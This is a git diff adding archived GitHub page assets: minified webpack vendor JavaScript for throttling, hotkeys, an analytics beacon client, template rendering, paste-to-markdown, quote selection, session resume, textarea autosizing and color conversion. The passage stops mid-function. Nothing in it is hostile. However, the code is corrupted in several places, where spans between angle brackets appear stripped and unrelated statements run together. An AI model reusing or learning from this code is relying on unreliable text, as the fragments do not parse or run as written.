f=s.closest(".task-list-item");!f||f.setAttribute("draggable","false")}o(H,"onHandleMouseOut"),window.customElements.get("task-lists")||(window.TaskListsElement=l,window.customElements.define("task-lists",l))}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed-f8db72a328a9.js.map \ No newline at end of file diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js new file mode 100644 index 0000000..4e18cc6 --- /dev/null +++ b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var D=Object.defineProperty;var c=(x,C)=>D(x,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"],{46263:(x,C,N)=>{N.d(C,{D:()=>b,P:()=>p});function p(_,m=0,{start:y=!0,middle:u=!0,once:w=!1}={}){let h=0,l,f=!1;function v(...k){if(f)return;const T=Date.now()-h;h=Date.now(),y?(y=!1,_.apply(this,k),w&&v.cancel()):(u&&T{h=Date.now(),_.apply(this,k),w&&v.cancel()},u?m-T:m))}return c(v,"fn"),v.cancel=()=>{clearTimeout(l),f=!0},v}c(p,"throttle");function b(_,m=0,{start:y=!1,middle:u=!1,once:w=!1}={}){return p(_,m,{start:y,middle:u,once:w})}c(b,"debounce")},11793:(x,C,N)=>{N.d(C,{EL:()=>u,N9:()=>W,Tz:()=>S});class p{constructor(o){this.children=[],this.parent=o}delete(o){const r=this.children.indexOf(o);return r===-1?!1:(this.children=this.children.slice(0,r).concat(this.children.slice(r+1)),this.children.length===0&&this.parent.delete(this),!0)}add(o){return this.children.push(o),this}}c(p,"Leaf");class b{constructor(o){this.parent=null,this.children={},this.parent=o||null}get(o){return this.children[o]}insert(o){let r=this;for(let g=0;gd.filter(n=>n!=="")).filter(d=>d.length>0)}c(y,"expandHotkeyToEdges");function u(a){const{ctrlKey:o,altKey:r,metaKey:g,key:d}=a,n=[],e=[o,r,g,h(a)];for(const[t,i]of e.entries())i&&n.push(w[t]);return w.includes(d)||n.push(d),n.join("+")}c(u,"hotkey");const w=["Control","Alt","Meta","Shift"];function h(a){const{shiftKey:o,code:r,key:g}=a;return o&&!(r.startsWith("Key")&&g.toUpperCase()===g)}c(h,"showShift");const l=new b,f=new WeakMap;let v=l,k=null,T=[];function P(){T=[],k=null,v=l}c(P,"resetTriePosition");function I(a){if(a.defaultPrevented||!(a.target instanceof Node))return;if(_(a.target)){const r=a.target;if(!r.id||!r.ownerDocument.querySelector(`[data-hotkey-scope="${r.id}"]`))return}k!=null&&window.clearTimeout(k),k=window.setTimeout(P,1500);const o=v.get(u(a));if(!o){P();return}if(T.push(u(a)),v=o,o instanceof p){const r=a.target;let g=!1,d;const n=_(r);for(let e=o.children.length-1;e>=0;e-=1){d=o.children[e];const t=d.getAttribute("data-hotkey-scope");if(!n&&!t||n&&r.id===t){g=!0;break}}d&&g&&(m(d,T),a.preventDefault()),P()}}c(I,"keyDownHandler");function W(a,o){Object.keys(l.children).length===0&&document.addEventListener("keydown",I);const g=y(o||a.getAttribute("data-hotkey")||"").map(d=>l.insert(d).add(a));f.set(a,g)}c(W,"install");function S(a){const o=f.get(a);if(o&&o.length)for(const r of o)r&&r.delete(a);Object.keys(l.children).length===0&&document.removeEventListener("keydown",I)}c(S,"uninstall")},86058:(x,C,N)=>{N.d(C,{R:()=>w});function p(){let h;try{h=window.top.document.referrer}catch{if(window.parent)try{h=window.parent.document.referrer}catch{}}return h===""&&(h=document.referrer),h}c(p,"getReferrer");function b(){try{return`${screen.width}x${screen.height}`}catch{return"unknown"}}c(b,"getScreenResolution");function _(){let h=0,l=0;try{return typeof window.innerWidth=="number"?(l=window.innerWidth,h=window.innerHeight):document.documentElement!=null&&document.documentElement.clientWidth!=null?(l=document.documentElement.clientWidth,h=document.documentElement.clientHeight):document.body!=null&&document.body.clientWidth!=null&&(l=document.body.clientWidth,h=document.body.clientHeight),`${l}x${h}`}catch{return"unknown"}}c(_,"getBrowserResolution");function m(){return navigator.languages?navigator.languages.join(","):navigator.language||""}c(m,"getBrowserLanguages");function y(){return{referrer:p(),user_agent:navigator.userAgent,screen_resolution:b(),browser_resolution:_(),browser_languages:m(),pixel_ratio:window.devicePixelRatio,timestamp:Date.now(),tz_seconds:new Date().getTimezoneOffset()*-60}}c(y,"getRequestContext");var u=N(82918);class w{constructor(l){this.options=l}get collectorUrl(){return this.options.collectorUrl}get clientId(){return this.options.clientId?this.options.clientId:(0,u.b)()}createEvent(l){return{page:location.href,title:document.title,context:{...this.options.baseContext,...l}}}sendPageView(l){const f=this.createEvent(l);this.send({page_views:[f]})}sendEvent(l,f){const v={...this.createEvent(f),type:l};this.send({events:[v]})}send({page_views:l,events:f}){const v={client_id:this.clientId,page_views:l,events:f,request_context:y()},k=JSON.stringify(v);try{if(navigator.sendBeacon){navigator.sendBeacon(this.collectorUrl,k);return}}catch{}fetch(this.collectorUrl,{method:"POST",cache:"no-cache",headers:{"Content-Type":"application/json"},body:k,keepalive:!1})}}c(w,"AnalyticsClient")},82918:(x,C,N)=>{N.d(C,{b:()=>y});let p;function b(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}.${Math.round(Date.now()/1e3)}`}c(b,"generateClientId");function _(u){const w=`GH1.1.${u}`,h=Date.now(),l=new Date(h+1*365*86400*1e3).toUTCString();let{domain:f}=document;f.endsWith(".github.com")&&(f="github.com"),document.cookie=`_octo=${w}; expires=${l}; path=/; domain=${f}; secure; samesite=lax`}c(_,"setClientIdCookie");function m(){let u;const h=document.cookie.match(/_octo=([^;]+)/g);if(!h)return;let l=[0,0];for(const f of h){const[,v]=f.split("="),[,k,...T]=v.split("."),P=k.split("-").map(Number);P>l&&(l=P,u=T.join("."))}return u}c(m,"getClientIdFromCookie");function y(){try{const u=m();if(u)return u;const w=b();return _(w),w}catch{return p||(p=b()),p}}c(y,"getOrCreateClientId")},88149:(x,C,N)=>{N.d(C,{n:()=>p});function p(b="ha"){let _;const m={},y=document.head.querySelectorAll(`meta[name^="${b}-"]`);for(const u of Array.from(y)){const{name:w,content:h}=u,l=w.replace(`${b}-`,"").replace(/-/g,"_");l==="url"?_=h:m[l]=h}if(!_)throw new Error(`AnalyticsClient ${b}-url meta tag not found`);return{collectorUrl:_,...Object.keys(m).length>0?{baseContext:m}:{}}}c(p,"getOptionsFromMeta")},38772:(x,C,N)=>{N.d(C,{dy:()=>o,sY:()=>r,Au:()=>n});var p=N(69567);const b=new WeakSet;function _(e){return b.has(e)}c(_,"isDirective");function m(e,t){return _(t)?(t(e),!0):!1}c(m,"processDirective");function y(e){return(...t)=>{const i=e(...t);return b.add(i),i}}c(y,"directive");const u=new WeakMap;class w{constructor(t,i){this.element=t,this.type=i,this.element.addEventListener(this.type,this),u.get(this.element).set(this.type,this)}set(t){typeof t=="function"?this.handleEvent=t.bind(this.element):typeof t=="object"&&typeof t.handleEvent=="function"?this.handleEvent=t.handleEvent.bind(t):(this.element.removeEventListener(this.type,this),u.get(this.element).delete(this.type))}static for(t){u.has(t.element)||u.set(t.element,new Map);const i=t.attributeName.slice(2),s=u.get(t.element);return s.has(i)?s.get(i):new w(t.element,i)}}c(w,"EventHandler");function h(e,t){return e instanceof p.sV&&e.attributeName.startsWith("on")?(w.for(e).set(t),e.element.removeAttributeNS(e.attributeNamespace,e.attributeName),!0):!1}c(h,"processEvent");function l(e,t){return t instanceof S&&e instanceof p.GZ?(t.renderInto(e),!0):!1}c(l,"processSubTemplate");function f(e,t){return t instanceof DocumentFragment&&e instanceof p.GZ?(t.childNodes.length&&e.replace(...t.childNodes),!0):!1}c(f,"processDocumentFragment");function v(e){return typeof e=="object"&&Symbol.iterator in e}c(v,"isIterable");function k(e,t){if(!v(t))return!1;if(e instanceof p.GZ){const i=[];for(const s of t)if(s instanceof S){const E=document.createDocumentFragment();s.renderInto(E),i.push(...E.childNodes)}else s instanceof DocumentFragment?i.push(...s.childNodes):i.push(String(s));return i.length&&e.replace(...i),!0}else return e.value=Array.from(t).join(" "),!0}c(k,"processIterable");function T(e,t){m(e,t)||(0,p.W_)(e,t)||h(e,t)||l(e,t)||f(e,t)||k(e,t)||(0,p.Al)(e,t)}c(T,"processPart");const P=new WeakMap,I=new WeakMap,W=new WeakMap;class S{constructor(t,i,s){this.strings=t,this.values=i,this.processor=s}get template(){if(P.has(this.strings))return P.get(this.strings);{const t=document.createElement("template"),i=this.strings.length-1;return t.innerHTML=this.strings.reduce((s,E,F)=>s+E+(Ft=>{g.has(t)||g.set(t,{i:e.length});const i=g.get(t);for(let s=0;s{st=>{if(!(t instanceof p.GZ))return;const i=document.createElement("template");i.innerHTML=e;const s=document.importNode(i.content,!0);t.replace(...s.childNodes)})},69567:(x,C,N)=>{N.d(C,{sV:()=>u,GZ:()=>v,R:()=>d,AQ:()=>k,W_:()=>P,Al:()=>T,XK:()=>W});function*p(n){let e="",t=0,i=!1;for(let s=0;stypeof i=="string"?i:i.value).join("");this.element.setAttributeNS(this.attr.namespaceURI,this.attr.name,t)}}}c(w,"AttributeValueSetter");var h=function(n,e,t){if(!e.has(n))throw new TypeError("attempted to set private field on non-instance");return e.set(n,t),t},l=function(n,e){if(!e.has(n))throw new TypeError("attempted to get private field on non-instance");return e.get(n)},f;class v{constructor(e,t){this.expression=t,f.set(this,void 0),h(this,f,[e]),e.textContent=""}get value(){return l(this,f).map(e=>e.textContent).join("")}set value(e){this.replace(e)}get previousSibling(){return l(this,f)[0].previousSibling}get nextSibling(){return l(this,f)[l(this,f).length-1].nextSibling}replace(...e){const t=e.map(i=>typeof i=="string"?new Text(i):i);t.length||t.push(new Text("")),l(this,f)[0].before(...t);for(const i of l(this,f))i.remove();h(this,f,t)}}c(v,"NodeTemplatePart"),f=new WeakMap;function k(n){return{createCallback(e,t,i){this.processCallback(e,t,i)},processCallback(e,t,i){var s;if(!(typeof i!="object"||!i)){for(const E of t)if(E.expression in i){const F=(s=i[E.expression])!==null&&s!==void 0?s:"";n(E,F)}}}}}c(k,"createProcessor");function T(n,e){n.value=String(e)}c(T,"processPropertyIdentity");function P(n,e){return typeof e=="boolean"&&n instanceof u&&typeof n.element[n.attributeName]=="boolean"?(n.booleanValue=e,!0):!1}c(P,"processBooleanAttribute");const I=k(T),W=k((n,e)=>{P(n,e)||T(n,e)});var S=function(n,e,t){if(!e.has(n))throw new TypeError("attempted to set private field on non-instance");return e.set(n,t),t},a=function(n,e){if(!e.has(n))throw new TypeError("attempted to get private field on non-instance");return e.get(n)},o,r;function*g(n){const e=n.ownerDocument.createTreeWalker(n,NodeFilter.SHOW_TEXT|NodeFilter.SHOW_ELEMENT,null,!1);let t;for(;t=e.nextNode();)if(t instanceof Element&&t.hasAttributes())for(let i=0;i{var he=Object.defineProperty;var i=(N,M)=>he(N,"name",{value:M,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537"],{52769:(N,M,E)=>{"use strict";E.d(M,{Ld:()=>oe});function b(f,y){var k,C,O;const q=f.value.slice(0,(k=f.selectionStart)!==null&&k!==void 0?k:void 0),Y=f.value.slice((C=f.selectionEnd)!==null&&C!==void 0?C:void 0);let J=!0;f.contentEditable="true";try{J=document.execCommand("insertText",!1,y)}catch{J=!1}if(f.contentEditable="false",J&&!f.value.slice(0,(O=f.selectionStart)!==null&&O!==void 0?O:void 0).endsWith(y)&&(J=!1),!J){try{document.execCommand("ms-beginUndoUnit")}catch{}f.value=q+y+Y;try{document.execCommand("ms-endUndoUnit")}catch{}f.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!0}))}}i(b,"insertText");const _=new WeakMap;function h(f){const{currentTarget:y}=f,k=f.code==="KeyV"&&(f.ctrlKey||f.metaKey)&&f.shiftKey;(k||k&&f.altKey)&&_.set(y,!0)}i(h,"setSkipFormattingFlag");function v(f){const{currentTarget:y}=f;_.delete(y)}i(v,"unsetSkipFormattedFlag");function e(f){var y;return(y=_.get(f))!==null&&y!==void 0?y:!1}i(e,"shouldSkipFormatting");function o(f,...y){f.addEventListener("keydown",h);for(const k of y)k(f);f.addEventListener("paste",v)}i(o,"installAround");function t(f){f.removeEventListener("keydown",h),f.removeEventListener("paste",v)}i(t,"uninstall$5");function n(f){f.addEventListener("paste",l)}i(n,"install$4");function r(f){f.removeEventListener("paste",l)}i(r,"uninstall$4");function l(f){const y=f.clipboardData,{currentTarget:k}=f;if(e(k)||!y||!c(y))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;let O=y.getData("text/plain");const q=y.getData("text/html"),Y=q.replace(/\u00A0/g," ").replace(/\uC2A0/g," ");if(!q||(O=O.trim(),!O))return;const Z=new DOMParser().parseFromString(Y,"text/html"),Q=Z.createTreeWalker(Z.body,NodeFilter.SHOW_ELEMENT,fe=>fe.parentNode&&s(fe.parentNode)?NodeFilter.FILTER_REJECT:NodeFilter.FILTER_ACCEPT),se=u(O,Q);se!==O&&(f.stopPropagation(),f.preventDefault(),b(C,se))}i(l,"onPaste$4");function u(f,y){var k;let C=y.firstChild(),O=f,q=0,Y=0;const J=1e4;for(;C&&Y=0)if(s(C)){const se=m(C,Z);O=O.slice(0,Q)+se+O.slice(Q+Z.length),q=Q+se.length}else q=Q+Z.length;C=y.nextNode()}return Y===J?f:O}i(u,"convertToMarkdown");function a(f){return!f||(f==null?void 0:f.trim().length)===0}i(a,"isEmptyString");function s(f){var y;return((y=f.tagName)===null||y===void 0?void 0:y.toLowerCase())==="a"&&f.hasAttribute("href")}i(s,"isLink");function c(f){return f.types.includes("text/html")}i(c,"hasHTML");function m(f,y){const k=f.href||"";let C="";return g(f)?C=y:d(f)||p(k,y)?C=k:C=`[${y}](${k})`,C}i(m,"linkify$2");function d(f){return f.className.indexOf("commit-link")>=0||!!f.getAttribute("data-hovercard-type")&&f.getAttribute("data-hovercard-type")!=="user"}i(d,"isSpecialLink");function p(f,y){return f=f.slice(-1)==="/"?f.slice(0,-1):f,y=y.slice(-1)==="/"?y.slice(0,-1):y,f.toLowerCase()===y.toLowerCase()}i(p,"areEqualLinks");function g(f){var y;return((y=f.textContent)===null||y===void 0?void 0:y.slice(0,1))==="@"&&f.getAttribute("data-hovercard-type")==="user"}i(g,"isUserMention");function w(f){f.addEventListener("dragover",$),f.addEventListener("drop",I),f.addEventListener("paste",z)}i(w,"install$3");function x(f){f.removeEventListener("dragover",$),f.removeEventListener("drop",I),f.removeEventListener("paste",z)}i(x,"uninstall$3");function I(f){const y=f.dataTransfer;if(!y||ee(y)||!te(y))return;const k=ne(y);if(!k.some(T))return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k.map(X).join(""))}i(I,"onDrop$1");function $(f){const y=f.dataTransfer;y&&(y.dropEffect="link")}i($,"onDragover$1");function z(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!te(k))return;const C=ne(k);if(!C.some(T))return;f.stopPropagation(),f.preventDefault();const O=f.currentTarget;O instanceof HTMLTextAreaElement&&b(O,C.map(X).join(""))}i(z,"onPaste$3");function X(f){return T(f)?` +![](${f}) +`:f}i(X,"linkify$1");function ee(f){return Array.from(f.types).indexOf("Files")>=0}i(ee,"hasFile$1");function te(f){return Array.from(f.types).indexOf("text/uri-list")>=0}i(te,"hasLink");function ne(f){return(f.getData("text/uri-list")||"").split(`\r +`)}i(ne,"extractLinks");const P=/\.(gif|png|jpe?g)$/i;function T(f){return P.test(f)}i(T,"isImageLink");function A(f){f.addEventListener("paste",S)}i(A,"install$2");function R(f){f.removeEventListener("paste",S)}i(R,"uninstall$2");function S(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!F(k))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;const O=k.getData("text/plain");if(!O||!H(O)||D(C))return;const q=C.value.substring(C.selectionStart,C.selectionEnd);!q.length||H(q.trim())||(f.stopPropagation(),f.preventDefault(),b(C,U(q,O)))}i(S,"onPaste$2");function F(f){return Array.from(f.types).includes("text/plain")}i(F,"hasPlainText");function D(f){const y=f.selectionStart||0;return y>1?f.value.substring(y-2,y)==="](":!1}i(D,"isWithinLink");function U(f,y){return`[${f}](${y})`}i(U,"linkify");function H(f){return/^https?:\/\//i.test(f)}i(H,"isURL");function B(f){f.addEventListener("dragover",ce),f.addEventListener("drop",G),f.addEventListener("paste",ie)}i(B,"install$1");function re(f){f.removeEventListener("dragover",ce),f.removeEventListener("drop",G),f.removeEventListener("paste",ie)}i(re,"uninstall$1");function G(f){const y=f.dataTransfer;if(!y||le(y))return;const k=L(y);if(!k)return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k)}i(G,"onDrop");function ce(f){const y=f.dataTransfer;y&&(y.dropEffect="copy")}i(ce,"onDragover");function ie(f){const{currentTarget:y}=f;if(e(y)||!f.clipboardData)return;const k=L(f.clipboardData);if(!k)return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k)}i(ie,"onPaste$1");function le(f){return Array.from(f.types).indexOf("Files")>=0}i(le,"hasFile");function ae(f){const y="\xA0";return(f.textContent||"").trim().replace(/\|/g,"\\|").replace(/\n/g," ")||y}i(ae,"columnText");function de(f){return Array.from(f.querySelectorAll("td, th")).map(ae)}i(de,"tableHeaders");function ue(f){const y=Array.from(f.querySelectorAll("tr")),k=y.shift();if(!k)return"";const C=de(k),O=C.map(()=>"--"),q=`${C.join(" | ")} +${O.join(" | ")} +`,Y=y.map(J=>Array.from(J.querySelectorAll("td")).map(ae).join(" | ")).join(` +`);return` +${q}${Y} + +`}i(ue,"tableMarkdown");function L(f){if(Array.from(f.types).indexOf("text/html")===-1)return;const y=f.getData("text/html");if(!//,"").replace(//,` +${q}`)}i(L,"generateText");function j(f){f.addEventListener("paste",K)}i(j,"install");function W(f){f.removeEventListener("paste",K)}i(W,"uninstall");function K(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!V(k))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;const O=k.getData("text/x-gfm");!O||(f.stopPropagation(),f.preventDefault(),b(C,O))}i(K,"onPaste");function V(f){return Array.from(f.types).indexOf("text/x-gfm")>=0}i(V,"hasMarkdown");function oe(f){return o(f,B,w,A,j,n),{unsubscribe:()=>{t(f),re(f),r(f),x(f),R(f),W(f)}}}i(oe,"subscribe")},55498:(N,M,E)=>{"use strict";E.d(M,{I:()=>a,p:()=>u});function b(s){const c=s.parentNode;if(c===null||!(c instanceof HTMLElement))throw new Error;let m=0;c instanceof HTMLOListElement&&c.start!==1&&(m=c.start-1);const d=c.children;for(let p=0;p/g,">")}i(t,"escapeAttribute");const n={INPUT(s){return s instanceof HTMLInputElement&&s.checked?"[x] ":"[ ] "},CODE(s){const c=s.textContent||"";return s.parentNode&&s.parentNode.nodeName==="PRE"?(s.textContent=`\`\`\` +${c.replace(/\n+$/,"")} +\`\`\` + +`,s):c.indexOf("`")>=0?`\`\` ${c} \`\``:`\`${c}\``},P(s){const c=document.createElement("p"),m=s.textContent||"";return c.textContent=m.replace(/<(\/?)(pre|strong|weak|em)>/g,"\\<$1$2\\>"),c},STRONG(s){return`**${s.textContent||""}**`},EM(s){return`_${s.textContent||""}_`},DEL(s){return`~${s.textContent||""}~`},BLOCKQUOTE(s){const c=(s.textContent||"").trim().replace(/^/gm,"> "),m=document.createElement("pre");return m.textContent=`${c} + +`,m},A(s){const c=s.textContent||"",m=s.getAttribute("href");return/^https?:/.test(c)&&c===m?c:m?`[${c}](${m})`:c},IMG(s){const c=s.getAttribute("alt")||"",m=s.getAttribute("src");if(!m)throw new Error;const d=s.hasAttribute("width")?` width="${t(s.getAttribute("width")||"")}"`:"",p=s.hasAttribute("height")?` height="${t(s.getAttribute("height")||"")}"`:"";return d||p?`${t(c)}`:`![${c}](${m})`},LI(s){const c=s.parentNode;if(!c)throw new Error;let m="";o(s)||(c.nodeName==="OL"?e>0&&!c.previousSibling?m=`${b(s)+e+1}\\. `:m=`${b(s)+1}. `:m="* ");const d=m.replace(/\S/g," "),p=(s.textContent||"").trim().replace(/^/gm,d),g=document.createElement("pre");return g.textContent=p.replace(d,m),g},OL(s){const c=document.createElement("li");return c.appendChild(document.createElement("br")),s.append(c),s},H1(s){const c=parseInt(s.nodeName.slice(1));return s.prepend(`${Array(c+1).join("#")} `),s},UL(s){return s}};n.UL=n.OL;for(let s=2;s<=6;++s)n[`H${s}`]=n.H1;function r(s){const c=document.createNodeIterator(s,NodeFilter.SHOW_ELEMENT,{acceptNode(p){return p.nodeName in n&&!_(p)&&(h(p)||v(p))?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}}),m=[];let d=c.nextNode();for(;d;)d instanceof HTMLElement&&m.push(d),d=c.nextNode();m.reverse();for(const p of m)p.replaceWith(n[p.nodeName](p))}i(r,"insertMarkdownSyntax");function l(s,c){const m=s.startContainer;if(!m||!m.parentNode||!(m.parentNode instanceof HTMLElement))throw new Error("the range must start within an HTMLElement");const d=m.parentNode;let p=s.cloneContents();if(c){const x=p.querySelector(c);x&&(p=document.createDocumentFragment(),p.appendChild(x))}e=0;const g=d.closest("li");if(d.closest("pre")){const x=document.createElement("pre");x.appendChild(p),p=document.createDocumentFragment(),p.appendChild(x)}else if(g&&g.parentNode&&(g.parentNode.nodeName==="OL"&&(e=b(g)),!p.querySelector("li"))){const x=document.createElement("li");if(!g.parentNode)throw new Error;const I=document.createElement(g.parentNode.nodeName);x.appendChild(p),I.appendChild(x),p=document.createDocumentFragment(),p.appendChild(I)}return p}i(l,"extractFragment");class u{constructor(){this.selection=window.getSelection()}closest(c){const m=this.range.startContainer,d=m instanceof Element?m:m.parentElement;return d?d.closest(c):null}get active(){var c;return(((c=this.selection)===null||c===void 0?void 0:c.rangeCount)||0)>0}get range(){var c;return((c=this.selection)===null||c===void 0?void 0:c.rangeCount)?this.selection.getRangeAt(0):new Range}set range(c){var m,d;(m=this.selection)===null||m===void 0||m.removeAllRanges(),(d=this.selection)===null||d===void 0||d.addRange(c)}get selectionText(){var c;return((c=this.selection)===null||c===void 0?void 0:c.toString().trim())||""}get quotedText(){return`> ${this.selectionText.replace(/\n/g,` +> `)} + +`}select(c){this.selection&&(this.selection.removeAllRanges(),this.selection.selectAllChildren(c))}insert(c){c.value?c.value=`${c.value} + +${this.quotedText}`:c.value=this.quotedText,c.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1})),c.focus(),c.selectionStart=c.value.length,c.scrollTop=c.scrollHeight}}i(u,"Quote");class a extends u{constructor(c="",m){super();this.scopeSelector=c,this.callback=m}get selectionText(){var c,m;if(!this.selection)return"";const d=l(this.range,(c=this.scopeSelector)!==null&&c!==void 0?c:"");(m=this.callback)===null||m===void 0||m.call(this,d),r(d);const p=document.body;if(!p)return"";const g=document.createElement("div");g.appendChild(d),g.style.cssText="position:absolute;left:-9999px;",p.appendChild(g);let w="";try{const x=document.createRange();x.selectNodeContents(g),this.selection.removeAllRanges(),this.selection.addRange(x),w=this.selection.toString(),this.selection.removeAllRanges(),x.detach()}finally{p.removeChild(g)}return w.trim()}}i(a,"MarkdownQuote")},407:(N,M,E)=>{"use strict";E.d(M,{Xm:()=>h,e6:()=>v,iO:()=>e});let b=null;function _(o){return!!o.id&&o.value!==o.defaultValue&&o.form!==b}i(_,"shouldResumeField");function h(o,t){var n,r;const l=(n=t==null?void 0:t.selector)!==null&&n!==void 0?n:".js-session-resumable",a=`${(r=t==null?void 0:t.keyPrefix)!==null&&r!==void 0?r:"session-resume:"}${o}`,s=[];for(const m of document.querySelectorAll(l))(m instanceof HTMLInputElement||m instanceof HTMLTextAreaElement)&&s.push(m);let c=s.filter(m=>_(m)).map(m=>[m.id,m.value]);if(c.length)try{const m=sessionStorage.getItem(a);if(m!==null){const p=JSON.parse(m).filter(function(g){return!c.some(w=>w[0]===g[0])});c=c.concat(p)}sessionStorage.setItem(a,JSON.stringify(c))}catch{}}i(h,"persistResumableFields");function v(o,t){var n;const l=`${(n=t==null?void 0:t.keyPrefix)!==null&&n!==void 0?n:"session-resume:"}${o}`;let u;try{u=sessionStorage.getItem(l)}catch{}if(!u)return;const a=[],s=[];for(const[c,m]of JSON.parse(u)){const d=new CustomEvent("session:resume",{bubbles:!0,cancelable:!0,detail:{targetId:c,targetValue:m}});if(document.dispatchEvent(d)){const p=document.getElementById(c);p&&(p instanceof HTMLInputElement||p instanceof HTMLTextAreaElement)?p.value===p.defaultValue&&(p.value=m,a.push(p)):s.push([c,m])}}if(s.length===0)try{sessionStorage.removeItem(l)}catch{}else sessionStorage.setItem(l,JSON.stringify(s));setTimeout(function(){for(const c of a)c.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!0}))},0)}i(v,"restoreResumableFields");function e(o){b=o.target,setTimeout(function(){o.defaultPrevented&&(b=null)},0)}i(e,"setForm")},54430:(N,M,E)=>{"use strict";E.d(M,{Z:()=>_});function b(h){var v=null,e=!1,o=void 0,t=void 0,n=void 0;function r(d){if(o!==d.clientX||t!==d.clientY){var p=h.style.height;n&&n!==p&&(e=!0,h.style.maxHeight="",h.removeEventListener("mousemove",r)),n=p}o=d.clientX,t=d.clientY}i(r,"onUserResize");var l=h.ownerDocument,u=l.documentElement;function a(){for(var d=0,p=h;p!==l.body&&p!==null;)d+=p.offsetTop||0,p=p.offsetParent;var g=d-l.defaultView.pageYOffset,w=u.clientHeight-(g+h.offsetHeight);return{top:g,bottom:w}}i(a,"overflowOffset");function s(){if(!e&&h.value!==v&&!(h.offsetWidth<=0&&h.offsetHeight<=0)){var d=a(),p=d.top,g=d.bottom;if(!(p<0||g<0)){var w=Number(getComputedStyle(h).height.replace(/px/,""))+g;h.style.maxHeight=w-100+"px";var x=h.parentElement;if(x instanceof HTMLElement){var I=x.style.height;x.style.height=getComputedStyle(x).height,h.style.height="auto",h.style.height=h.scrollHeight+"px",x.style.height=I,n=h.style.height}v=h.value}}}i(s,"sizeToFit");function c(){e=!1,h.style.height="",h.style.maxHeight=""}i(c,"onFormReset"),h.addEventListener("mousemove",r),h.addEventListener("input",s),h.addEventListener("change",s);var m=h.form;return m&&m.addEventListener("reset",c),h.value&&s(),{unsubscribe:i(function(){h.removeEventListener("mousemove",r),h.removeEventListener("input",s),h.removeEventListener("change",s),m&&m.removeEventListener("reset",c)},"unsubscribe")}}i(b,"autosize");const _=b},48168:(N,M,E)=>{const b=E(39092),_={};for(const e of Object.keys(b))_[b[e]]=e;const h={rgb:{channels:3,labels:"rgb"},hsl:{channels:3,labels:"hsl"},hsv:{channels:3,labels:"hsv"},hwb:{channels:3,labels:"hwb"},cmyk:{channels:4,labels:"cmyk"},xyz:{channels:3,labels:"xyz"},lab:{channels:3,labels:"lab"},lch:{channels:3,labels:"lch"},hex:{channels:1,labels:["hex"]},keyword:{channels:1,labels:["keyword"]},ansi16:{channels:1,labels:["ansi16"]},ansi256:{channels:1,labels:["ansi256"]},hcg:{channels:3,labels:["h","c","g"]},apple:{channels:3,labels:["r16","g16","b16"]},gray:{channels:1,labels:["gray"]}};N.exports=h;for(const e of Object.keys(h)){if(!("channels"in h[e]))throw new Error("missing channels property: "+e);if(!("labels"in h[e]))throw new Error("missing channel labels property: "+e);if(h[e].labels.length!==h[e].channels)throw new Error("channel and label counts mismatch: "+e);const{channels:o,labels:t}=h[e];delete h[e].channels,delete h[e].labels,Object.defineProperty(h[e],"channels",{value:o}),Object.defineProperty(h[e],"labels",{value:t})}h.rgb.hsl=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.min(o,t,n),l=Math.max(o,t,n),u=l-r;let a,s;l===r?a=0:o===l?a=(t-n)/u:t===l?a=2+(n-o)/u:n===l&&(a=4+(o-t)/u),a=Math.min(a*60,360),a<0&&(a+=360);const c=(r+l)/2;return l===r?s=0:c<=.5?s=u/(l+r):s=u/(2-l-r),[a,s*100,c*100]},h.rgb.hsv=function(e){let o,t,n,r,l;const u=e[0]/255,a=e[1]/255,s=e[2]/255,c=Math.max(u,a,s),m=c-Math.min(u,a,s),d=i(function(p){return(c-p)/6/m+1/2},"diffc");return m===0?(r=0,l=0):(l=m/c,o=d(u),t=d(a),n=d(s),u===c?r=n-t:a===c?r=1/3+o-n:s===c&&(r=2/3+t-o),r<0?r+=1:r>1&&(r-=1)),[r*360,l*100,c*100]},h.rgb.hwb=function(e){const o=e[0],t=e[1];let n=e[2];const r=h.rgb.hsl(e)[0],l=1/255*Math.min(o,Math.min(t,n));return n=1-1/255*Math.max(o,Math.max(t,n)),[r,l*100,n*100]},h.rgb.cmyk=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.min(1-o,1-t,1-n),l=(1-o-r)/(1-r)||0,u=(1-t-r)/(1-r)||0,a=(1-n-r)/(1-r)||0;return[l*100,u*100,a*100,r*100]};function v(e,o){return(e[0]-o[0])**2+(e[1]-o[1])**2+(e[2]-o[2])**2}i(v,"comparativeDistance"),h.rgb.keyword=function(e){const o=_[e];if(o)return o;let t=1/0,n;for(const r of Object.keys(b)){const 